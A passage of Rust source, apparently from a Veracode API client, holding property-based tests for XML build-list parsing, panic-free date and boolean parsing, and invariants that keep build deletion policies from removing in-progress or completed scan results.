2012        fn proptest_empty_build_list_parsing(
2013            app_id in "[0-9]{1,10}"
2014        ) {
2015            let xml = format!(r#"<buildlist app_id="{app_id}"></buildlist>"#);
2016            let config = VeracodeConfig::new("test_id", "test_key");
2017            let client = VeracodeClient::new(config)
2018                .expect("valid test client configuration");
2019            let api = BuildApi::new(client);
2020
2021            let result = api.parse_build_list(&xml);
2022
2023            prop_assert!(result.is_ok());
2024            if let Ok(build_list) = result {
2025                prop_assert_eq!(build_list.app_id, app_id);
2026                prop_assert_eq!(build_list.builds.len(), 0);
2027            }
2028        }
2029
2030        /// Property: Date parsing must never panic
2031        #[test]
2032        fn proptest_date_parsing_safety(
2033            date_str in prop::string::string_regex(".{0,100}")
2034                .expect("valid regex pattern for date strings")
2035        ) {
2036            // Test that date parsing never panics, even with invalid input
2037            use chrono::NaiveDate;
2038            let _ = NaiveDate::parse_from_str(&date_str, "%m/%d/%Y");
2039            // If we get here without panic, test passes
2040        }
2041
2042        /// Property: Boolean parsing in XML must handle arbitrary strings safely
2043        #[test]
2044        fn proptest_boolean_parsing_safety(
2045            bool_str in prop::string::string_regex(".{0,50}")
2046                .expect("valid regex pattern for boolean strings")
2047        ) {
2048            // Test that boolean parsing never panics
2049            let _ = bool_str.parse::<bool>();
2050            // If we get here without panic, test passes
2051        }
2052    }
2053}
2054
2055#[cfg(test)]
2056#[allow(clippy::expect_used)] // Test code: expect is acceptable for test setup
2057mod deletion_safety_proptests {
2058    use super::*;
2059    use proptest::prelude::*;
2060
2061    proptest! {
2062        #![proptest_config(ProptestConfig {
2063            cases: if cfg!(miri) { 5 } else { 1000 },
2064            failure_persistence: None,
2065            .. ProptestConfig::default()
2066        })]
2067
2068        /// Property: Policy level 1 must only delete safe states (critical invariant)
2069        #[test]
2070        fn proptest_policy_1_only_deletes_safe_states(
2071            status_str in prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
2072                .expect("valid regex pattern for status strings")
2073        ) {
2074            let status = BuildStatus::from_string(&status_str);
2075            let is_deletable = status.is_safe_to_delete(1);
2076
2077            // If deletable under policy 1, must be a safe state
2078            if is_deletable {
2079                prop_assert!(matches!(
2080                    status,
2081                    BuildStatus::Incomplete
2082                        | BuildStatus::NotSubmitted
2083                        | BuildStatus::PreScanFailed
2084                        | BuildStatus::PreScanCancelled
2085                        | BuildStatus::PrescanFailed
2086                        | BuildStatus::PrescanCancelled
2087                        | BuildStatus::ScanCancelled
2088                        | BuildStatus::Failed
2089                        | BuildStatus::Cancelled
2090                ));
2091            }
2092        }
2093
2094        /// Property: Policy level 2 must never delete ResultsReady (critical invariant)
2095        #[test]
2096        fn proptest_policy_2_never_deletes_results_ready(
2097            _dummy in 0u8..1 // Dummy parameter for proptest macro
2098        ) {
2099            prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
2100        }
2101
2102        /// Property: Unknown statuses under policy 1 must not be deletable (fail-safe)
2103        #[test]
2104        fn proptest_unknown_status_safe_default_policy_1(
2105            unknown_status in prop::string::string_regex("[A-Za-z0-9 ]{1,100}")
2106                .expect("valid regex pattern for unknown status strings")
2107                .prop_filter("Must not match known statuses", |s| {
2108                    !matches!(s.as_str(),
2109                        "Incomplete" | "Not Submitted" | "Submitted to Engine" | "Scan in Process" |
2110                        "Pre-Scan Submitted" | "Pre-Scan Success" | "Pre-Scan Failed" | "Pre-Scan Cancelled" |
2111                        "Prescan Failed" | "Prescan Cancelled" | "Scan Cancelled" | "Results Ready" |
2112                        "Failed" | "Cancelled"
2113                    )
2114                })
2115        ) {
2116            let status = BuildStatus::from_string(&unknown_status);
2117
2118            // Unknown statuses must not be deletable under policy 1 (fail-safe)
2119            prop_assert!(!status.is_safe_to_delete(1));
2120        }
2121
2122        /// Property: ScanInProcess must never be deletable under policy 1 (data integrity)
2123        #[test]
2124        fn proptest_scan_in_process_not_deletable_policy_1(
2125            _dummy in 0u8..1
2126        ) {
2127            prop_assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
2128        }
2129
2130        /// Property: PreScanSuccess must never be deletable under policy 1 (data preservation)
2131        #[test]
2132        fn proptest_prescan_success_not_deletable_policy_1(
2133            _dummy in 0u8..1
2134        ) {
2135            prop_assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
2136        }
2137    }
2138}